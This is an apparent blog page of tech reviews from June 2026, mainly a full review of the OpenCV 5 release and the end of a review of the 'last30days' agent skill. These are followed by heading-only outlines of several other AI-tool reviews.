Reddit	The unfiltered take. Top comments with upvote counts, free via public JSON. The real opinions Google buries.
X / Twitter	The hot take, the expert thread, the breaking reaction. First to know, first to argue.
YouTube	The 45-minute deep dive. Full transcripts searched for the 5 quotable sentences that matter.
TikTok	The creator reaching 3.6M people with a take you'll never find on Google.
Hacker News	The developer consensus. Where technical people actually argue.
Polymarket	Not opinions. Odds. Backed by real money.
GitHub	For people: PR velocity, top repos, release notes. For topics: issues and discussions.
Digg	Curated story clusters from Digg's AI 1000 leaderboard (~1000 high-signal AI accounts on X), no X auth required.
Threads / Bluesky	The post-Twitter text layer.
Perplexity	Grounded web search with citations via Sonar Pro.

Each source contributes a different kind of signal. The synthesis ranks by what real people actually engaged with — not what an SEO team optimized for.

Community Reactions

This isn't hype manufactured by the maintainer. The signal is real:

#1 on GitHub Trending this week. 11,732 new stars in seven days. The README notes that "5 of the 10 trending repos on GitHub today are Claude tools" (via X user @yieldhunter95), and last30days-skill is the top of that list.
Trendshift listed it at #21997 as a fast-rising AI repo.
@itswilsoncharles: "You give it a topic, it scrapes Reddit, X, and the web for what people are actually talking about. Not old blog posts. Real conversations from the last 30 days."
From How Do I Use AI: "Actual, opinionated, trend-aware context injected directly into your prompt."
The contributor list itself is a signal: /claude is the second-largest contributor on the repo, alongside /tmchow (the maintainer behind several other top Claude skills) and /j-sperling (who built the v3 pre-research brain).

The repo is also visibly active — the v3 pipeline shipped recently, the README explicitly notes that SKILL.md is the source of truth and gets updated faster than the README, and community contributors keep adding new sources (Truth Social, Xiaohongshu/RED are in the engine with more on the way).

Honest Limitations

I'd be doing nobody a favor if I painted this as a finished product. Things to know:

You're trusting the judge agent. The synthesis is an LLM ranking, and LLMs hallucinate. The brief is always a starting point — for high-stakes use cases, you click through the citations.
Without API keys, you're in web-only mode. That still works (Claude falls back to WebSearch), but you lose X, TikTok, and richer YouTube transcript coverage. The full magic needs OpenAI + xAI keys (and your own usage budget).
Reddit's public JSON is rate-limited and occasionally degrades to anonymous quotas. The engine handles thin-evidence runs gracefully, but a brief from a single Reddit page is different from one with 23 threads behind it.
30 days is a window, not a guarantee. Some platforms (Polymarket, GitHub) effectively pull more recent activity; others (YouTube) may surface older videos if the transcript matches. Read it as "recent" rather than a strict cutoff.
It's a skill, not a SaaS. You run it in your agent harness. There's no hosted UI (yet). If your team doesn't already use Claude Code, Codex, Cursor, or OpenClaw, the install path is more steps.
Cost adds up. Each /last30days run can fan out 10+ API calls across providers. The skill itself is free, but you pay your model + xAI/OpenAI tool-call costs.

These aren't dealbreakers. They're the trade-offs you make to get social-graph search at all.

Comparison: Where Does This Sit?

Tool	Coverage	Search angle
`/last30days`	Reddit, X, YouTube, TikTok, HN, Polymarket, GitHub, +more	Social engagement (upvotes/likes/$)
Perplexity	Web + indexed pages	SEO relevance + citations
ChatGPT search	Web + Reddit (via deal)	SEO + Reddit consensus
Gemini Deep Research	Web + YouTube	SEO + video transcripts

The thing nobody else does: searching the social graph itself with a judge that synthesizes across all of it. That's the moat.

FAQ

Is it free?

Yes — Apache 2.0 license. You pay the LLM and (optionally) the OpenAI/xAI tool-call costs when you run it. Reddit/HN/Polymarket/GitHub work with zero keys.

Do I need Claude Code?

No. It works in any of the 50+ Agent Skills hosts via npx skills add mvanhorn/last30days-skill -g. That includes Codex, Cursor, Copilot CLI, Gemini CLI, OpenClaw, and claude.ai web. Claude Code is the most polished install path because of the marketplace auto-update.

Will it work with my own model?

The skill is model-agnostic — it just needs an agent harness that can call WebSearch and (optionally) web_search / x_search tools. The reasoning quality of your model affects the synthesis quality.

Is the Reddit/X data legal to use?

The skill uses public JSON endpoints (Reddit's free public API) and authenticated tool APIs (OpenAI's web_search, xAI's x_search). You're using each platform within its terms by using their official endpoints. It does not scrape behind logins.

How is this different from "just asking Claude with web search"?

Three things: (1) parallel coverage — Claude with web search only sees what its search provider indexes, which is mostly Google's index. /last30days deliberately hits walled gardens (X, TikTok, etc.) that Google can't see. (2) Engagement-weighted ranking — Claude treats a 5-upvote post the same as a 5,000-upvote post. The skill weights by engagement. (3) Pre-research entity resolution — the v3 brain knows that "OpenClaw" → @steipete → r/ClaudeCode before the search runs.

Does it work for non-tech topics?

Yes. The README's examples include Kanye West (Wireless Festival, Polymarket odds), Universal Epic Universe (wait times, refurbishment schedules), and pre-sales-call research. The same engine that surfaces a 569-upvote r/ClaudeCode thread surfaces a 23-thread Reddit consensus about Genie+.

What's `headroom learn` and `--memory`?

Different repo — that's chopratejas/headroom, the token compression layer that often gets installed alongside agent skills. Worth a look if you're already running heavy multi-tool agents.

Should You Install It?

Install if:

You run Claude Code, Codex, Cursor, OpenClaw, or any skills-capable agent daily and you want current signal in your context
You do competitive research, customer discovery, pre-meeting prep, or trend analysis and Google keeps giving you 2023 blog posts
You'd rather pay $0.10 in API calls for a 30-second synthesis than spend 45 minutes manually scrolling Reddit + X

Skip if:

You only need editorial summaries — Perplexity or Gemini Deep Research will be lower friction
You're in an environment that can't run local agents with API keys (some enterprise setups)
Your topic of interest isn't on Reddit/X/HN/YouTube to begin with — the engine is only as good as the source data

For my money — running tool research, founder profiles, and competitive comparisons every week — this is the most useful agent skill I've installed this quarter. The synthesis quality is real, the source diversity is real, and the v3 pipeline genuinely beats v2 by a wide margin.

Repo: github.com/mvanhorn/last30days-skill — give it a star, then /plugin install last30days and run it on your own name. You'll learn something.

OpenCV 5 Review: New DNN Engine, LLMs, and 80% ONNX Coverage

Andrew — Wed, 10 Jun 2026 10:12:33 +0000

TL;DR

OpenCV 5.0 dropped on June 4, 2026 and the pip release followed on June 8 — and unlike most "major version" updates, this one earns the name. The library that's been the duct tape of computer vision for two decades just got a brand-new DNN engine, ONNX operator coverage jumped from ~22% to over 80%, and there's now built-in support for running LLMs and Vision-Language Models inside cv2. The Hacker News post hit 763 points in four days, and the response across /r/computervision and /r/MachineLearning has been the same: "wait, OpenCV finally fixed the part that was holding it back."

Key facts:

86,000+ GitHub stars, 1M+ daily installs — this is plumbing for production CV everywhere
New typed-graph DNN engine with proper shape inference, constant folding, and operator fusion
80%+ ONNX coverage (up from ~22% in 4.x) — modern models with dynamic shapes finally load
LLM and VLM support built in — you can run quantized language models from cv2.dnn
Hardware paths for Intel IPP (SSE/AVX), Arm KleidiCV, Qualcomm FastCV, and RISC-V RVV
Attention fusion collapses transformer blocks (MatMul → Softmax → MatMul) into single fused ops
Apache 2.0 license, available as pip install opencv-python==5.0.0
Native GPU in the DNN engine and a non-CPU HAL are next on the roadmap

If you maintain a CV pipeline that uses OpenCV 4.x — or one that bypassed OpenCV's DNN module because it kept failing on modern models — OpenCV 5 is the upgrade you actually want to plan this quarter.

Quick Reference

Field	Value
Release date	June 4, 2026 (pip: June 8, 2026)
GitHub	opencv/opencv
Release tag	5.0.0
Install	`pip install opencv-python==5.0.0`
License	Apache 2.0
Stars	86,000+
Daily installs	1M+
ONNX coverage	80%+ (vs ~22% in 4.x)
DNN engines	New (graph-based) + Classic (legacy)
HN front page	763 points
Docs	docs.opencv.org

Why This Release Actually Matters

OpenCV has a weird position in the ML world. It's everywhere — robotics, embedded vision, industrial inspection, AR/VR, medical imaging — but the deep-learning side has felt a step behind for years. You'd export a PyTorch model to ONNX, point cv2.dnn.readNetFromONNX at it, and half the time get a cryptic error about an operator OpenCV had never heard of. So production pipelines used OpenCV for I/O and preprocessing, then shipped inference off to ONNX Runtime or TensorRT — two libraries doing one library's job.

OpenCV 5 is the team's answer. The headline numbers tell the story:

ONNX operator coverage: ~22% → 80%+
A typed operation graph replaced the flat-layer-list interpreter from 4.x
Dynamic shapes, control flow (If, Loop), quantization (QDQ), attention fusion — all now supported

That last bullet quietly reshapes a lot of pipelines. The old engine treated a network as a flat list of layers; the new one reads the model as a graph, runs shape inference, constant folding, and operator fusion, then emits an optimized execution plan. Critically, when it sees MatMul → Softmax → MatMul, it recognizes transformer attention and collapses it into a single fused op. That's how OpenCV 5 ends up competitive with ONNX Runtime — by doing the same optimization passes a real inference engine does.

Installing OpenCV 5

The pip release went live on June 8, 2026. One line:

pip install opencv-python==5.0.0

For the contrib modules (extra algorithms, freetype, ArUco extensions):

pip install opencv-contrib-python==5.0.0

If you're building from source for hardware-specific acceleration:

git clone https://github.com/opencv/opencv.git
cd opencv && git checkout 5.x
mkdir build && cd build
cmake -DWITH_IPP=ON -DWITH_KLEIDICV=ON ..
make -j$(nproc)

The pip wheel ships with reasonable defaults for x86-64 (SSE/AVX) and Arm. For Qualcomm FastCV or RISC-V RVV optimization, you build from source with the appropriate flags.

Three Engines, One API

OpenCV 5 ships with two DNN engines under the same cv2.dnn API: the classic engine (the 4.x interpreter, kept for backwards compatibility) and the new graph-based engine (default for modern ONNX models with dynamic shapes, transformer attention, or recent operators). The library picks automatically when you load a model. Existing 4.x code keeps working; new models that previously failed now succeed; you migrate one model at a time. The native GPU path in the new engine is on the roadmap for 5.1 — until then, GPU inference goes through the classic CUDA backend.

Loading a Modern ONNX Model

The use case this release was built for:

import cv2
import numpy as np

# Load a modern transformer-based detection model
net = cv2.dnn.readNetFromONNX("yolo-v10.onnx")

# Preprocess: dynamic shapes now work
img = cv2.imread("scene.jpg")
blob = cv2.dnn.blobFromImage(
    img,
    scalefactor=1/255.0,
    size=(640, 640),
    swapRB=True,
    crop=False,
)
net.setInput(blob)

# The new engine handles attention fusion automatically
outputs = net.forward()

The difference from 4.x is everything that didn't work before now does. YOLOv10, RT-DETR, modern transformer-based detectors that mix dynamic shapes with control flow — the 4.x engine choked on them. The 5.x engine eats them for breakfast.

LLMs and VLMs Inside OpenCV

This is the part that made HN sit up. OpenCV 5 ships with built-in support for running quantized LLMs and Vision-Language Models through the DNN engine. The supported model list at launch includes:

Quantized small LLMs (Phi-3-mini, Qwen2.5 small variants, TinyLlama) for on-device language tasks
Vision-Language Models including LLaVA-style models for image-text understanding
LaMa-style inpainting models with diffusion support for image restoration

Why is this in OpenCV and not a separate library? Because so many CV pipelines now end with "describe this image" or "answer questions about this video frame," and shipping a second inference engine for that step is operational overhead. If OpenCV can do classical CV, deep-learning detection, and then a VLM caption pass in one process with one library, you've cut a layer out of your deployment.

The honest framing: this isn't going to replace vLLM for serving Llama-405B. It's for embedded and edge VLM workloads — a quantized model running on the same device that's already running OpenCV for camera capture and preprocessing.

Performance vs ONNX Runtime

OpenCV's own release post and the Phoronix coverage both highlight that OpenCV 5 is now competitive with Microsoft's ONNX Runtime on standard vision models. The team has tuned paths for:

Backend	Status
Intel IPP	SSE/AVX/AVX-512 optimized kernels
Arm KleidiCV	Optimized for modern Cortex-A and server-class ARM
Qualcomm FastCV	Snapdragon optimization paths
RISC-V RVV	Vector extension support — first major CV library with mature RVV

The RISC-V support is genuinely interesting — most CV libraries still treat RISC-V as a curiosity. OpenCV 5 ships first-class RVV kernels, which matters for the wave of RISC-V edge devices shipping in 2026.

The performance claim isn't "always faster than ONNX Runtime." It's "in the same ballpark on standard models, and you don't need to ship a second inference runtime."

Better Python Integration

This isn't headline-grabbing but it's the change that makes day-to-day OpenCV less annoying. The 5.x bindings ship with:

Named arguments instead of positional — no more guessing whether dst is the third or fourth parameter
Proper type hints for mypy and IDE autocomplete
0D and 1D tensor support — finally compatible with how NumPy and PyTorch actually represent scalars
Native FP16 and BF16 dtypes — no more workarounds for half-precision models
Real logging through Python's standard logging module

If you've spent any time fighting OpenCV's Python bindings on type errors or parameter order, that bullet list is the relief you've been waiting for.

Modern Feature Matching and 3D Vision

OpenCV 5 ships deep-learning-based feature matching (LoFTR-style descriptors) in core, not just contrib. SIFT and ORB are still there, but for repetitive textures, low overlap, or large viewpoint changes, the new neural matchers are a real upgrade — changing the default SfM/SLAM recommendation from "SIFT and hope" to "neural matcher and trust."

The 3D stack also got real attention: proper ChArUco board support, multi-camera calibration out of the box, and a cleaned-up cv::viz visualization module. Several generations of legacy calibration code from 4.x were retired in favor of the modern paths.

What the Community Is Saying

The Hacker News thread (763 points, 137 comments) is overwhelmingly positive, with a few honest concerns surfaced repeatedly:

"The ONNX coverage is the real story." This is the most upvoted reaction across HN, Reddit, and Twitter. The 22% → 80%+ jump is what unblocks the modern-model pipelines.
"Wait, you can run LLMs in OpenCV now?" Surprised reactions to the LLM/VLM support. Most commenters see this as a good fit for embedded scenarios, not a serving-stack replacement.
"What about CUDA?" The native GPU path in the new engine is on the roadmap but not in 5.0. People with GPU production pipelines are waiting for 5.1.
"Build complexity." OpenCV's CMake build has always been a beast. The good news: pip wheels for 5.0 cover the common cases. The bad news: if you want Qualcomm FastCV or RISC-V RVV tuned builds, source builds are still source builds.
"Documentation finally readable." The 5.x docs are a noticeable step up from the 4.x docs, which were comprehensive but daunting.

Honest Limitations

OpenCV 5 is great, but it isn't magic. The real trade-offs:

No native GPU in the new DNN engine yet. The 5.x graph engine runs on CPU. GPU users still go through the classic CUDA backend (which works fine, but doesn't get the new graph optimizations).
80% ONNX coverage means 20% of operators still aren't supported. The list mostly covers exotic or recently-added operators. Most production models load cleanly, but always test before assuming.
LLM/VLM support is for small quantized models. This is a CV library, not a model server. Don't plan to run Llama-405B inside cv2.
Migration from 4.x is mostly painless, but not zero. A handful of deprecated APIs were retired. Most code "just works," but if you used legacy C API functions, you'll need to update.
Some contrib modules lag the core release. Expect the opencv-contrib-python wheel to catch up over the next few weeks. If you depend on a specific contrib module, check before upgrading.
Build complexity for hardware-specific paths. The pip wheel is great for portable code. For Qualcomm FastCV or RISC-V RVV optimized builds, source builds with specific CMake flags are still required.

Should You Upgrade?

Three rough buckets:

Pipelines that use OpenCV for image I/O and classical CV only: Upgrade. Faster core, cleaner API, better Python integration. Low risk.
Pipelines that use OpenCV's DNN module for modern models: Upgrade ASAP. This is the release you've been waiting for. Models that failed in 4.x will load in 5.x.
Pipelines that bypass OpenCV's DNN for ONNX Runtime or TensorRT: Reassess. If your reason for bypassing was 4.x's ONNX coverage, that reason is largely gone. You might still want a dedicated inference engine for GPU performance, but for CPU and edge workloads, OpenCV 5 closes the gap.

FAQ

Q: Will my OpenCV 4.x code break?

A: Mostly no. The team kept backward compatibility for almost everything in cv2. The deprecated legacy C API was retired, and a handful of obscure functions were renamed. The classic DNN engine is still available, so 4.x DNN code keeps working. The pragmatic upgrade plan: install 5.0 in a fresh venv, run your test suite, fix what breaks (probably nothing major).

Q: Is the new DNN engine faster than the old one?

A: For models that worked in 4.x, slightly faster on average because of operator fusion. For models that didn't work in 4.x (modern transformers, dynamic shapes), infinitely faster because they now run at all. The headline benchmark to compare against ONNX Runtime is competitive — OpenCV 5's DNN engine is in the same performance class for CPU inference.

Q: What's the LLM/VLM support actually for?

A: Embedded and edge use cases where a CV pipeline ends with "describe this image" or "answer a question about this frame." Small quantized models (Phi-3-mini, TinyLlama, LLaVA-Phi) running on the same device as your camera pipeline. Not for production LLM serving — use vLLM or TGI for that.

Q: When will native GPU support land in the new engine?

A: The OpenCV team has flagged it as the next major work item, expected in the 5.1 timeline. Until then, GPU inference goes through the classic engine's CUDA backend, which works but doesn't get the new graph optimizations.

Q: Does OpenCV 5 work on Apple Silicon?

A: Yes. The pip wheel ships ARM64 binaries with NEON optimizations. There's no Metal-specific acceleration yet (it's CPU-only on macOS), but performance on M-series chips is solid via the Arm-optimized paths.

Q: How does OpenCV 5 compare to ONNX Runtime for CPU inference?

A: For standard vision models on x86 and ARM CPUs, OpenCV 5 is now in the same performance ballpark as ONNX Runtime. The trade-off: ONNX Runtime is a dedicated inference engine with broader operator support and more aggressive optimization. OpenCV 5 is a CV library that happens to ship a competitive inference engine. If you're doing image I/O, preprocessing, and inference in one pipeline, OpenCV 5 saves you a dependency.

Q: Can I use OpenCV 5 commercially?

A: Yes — Apache 2.0 license, commercial use explicitly permitted. The patent grant in Apache 2.0 also protects you from algorithm patent claims.

Verdict

OpenCV 5.0 is the most consequential release in OpenCV history in a long time, and the timing is right. The deep-learning side of the library finally caught up with how modern CV pipelines are built — graph-based execution, broad ONNX coverage, transformer-friendly fusions, hardware-tuned kernels across Intel, Arm, Qualcomm, and RISC-V. The LLM/VLM support is a forward-looking addition that makes sense for edge workloads even if it won't displace dedicated serving stacks.

For most teams, the upgrade calculus is simple: if you use OpenCV's DNN module, upgrade as soon as you can validate against your test suite. If you bypassed it for ONNX Runtime, reassess — the gap that drove you away just narrowed substantially.

Install with pip install opencv-python==5.0.0 and read the release notes before you migrate.

DEV Community: Andrew

Flue Review: Astro Team's TypeScript Agent Framework (2026)

TL;DR

What Flue Actually Is

Why It's Trending Now (June 2026)

Install & First Run (60 Seconds)

The Five Primitives

1. Agents

2. Workflows

3. Sandboxes

4. Skills

5. Subagents

Deployment Surface

Real Benchmarks (Honest)

Community Reaction

Honest Limitations

When To Choose Flue

How It Compares (Quick Table)

FAQ

Is Flue from the same team as Astro?

Can I use OpenAI/Gemini/local models instead of Anthropic?

Does it work with MCP servers?

How is the session store implemented?

What's the cost model?

How does durable execution work?

Bottom Line

codebase-memory-mcp Review: 99% Token Cut for Code Agents

TL;DR

Why grep-and-read loops are killing your agent bill

How it works

Quick start (60 seconds)

The 14 MCP tools (what your agent gets)

Real code: a Cypher-like query against your own codebase

Cross-service intelligence (the part that surprised me)

Performance (M3 Pro)

Team-shared graph artifact (skip the reindex)

Community reactions

Honest limitations

When to use codebase-memory-mcp, when to skip

FAQ

Try it today

agentsview Review: Local Analytics for 20+ Coding Agents

TL;DR

Why this is a real problem

Install in 60 seconds

The killer feature: agentsview usage daily

Full-text search across every session you've ever had

What the dashboard actually shows

The full supported-agent list

Remote access (the part most people get wrong)

Honest limitations

FAQ

Bottom line

Vibe-Trading Review: HKU's Open-Source Trading Agent

TL;DR

Who Builds This and Why It Matters

What "One Command to Empower Your Agent" Actually Looks Like

The Four Things It Actually Does Differently

1. Shadow Account — diagnose your own trades

2. Connector-first broker architecture with a real kill switch

3. The Alpha Zoo — 452 pre-built alphas with attribution

4. Multi-agent swarms with real worker visibility

Honest Limitations

How It Compares

Community Reactions

FAQ

Is Vibe-Trading actually safe to use with a real brokerage account?

How does it handle lookahead bias and data leakage?

Can I use it with a local LLM via Ollama?

What's the difference between Vibe-Trading and just asking ChatGPT?

Should You Try It?

LMCache Review: 3-10x Faster vLLM via KV Cache Reuse (2026)

TL;DR

What LMCache Actually Solves

Why It's Trending Now (June 2026)

Install & First Run (60 Seconds)

Production Test — Long-Doc Q&A

Benchmarks That Matter

Community Reactions

Honest Limitations

The killer feature: `agentsview usage daily`

Installing and the first `hello world`

What's the difference between `container` and `container machine`?

Can I push images I build with `container` to Docker Hub or GHCR?

What's the difference between `graphify` and `graphifyy` on PyPI?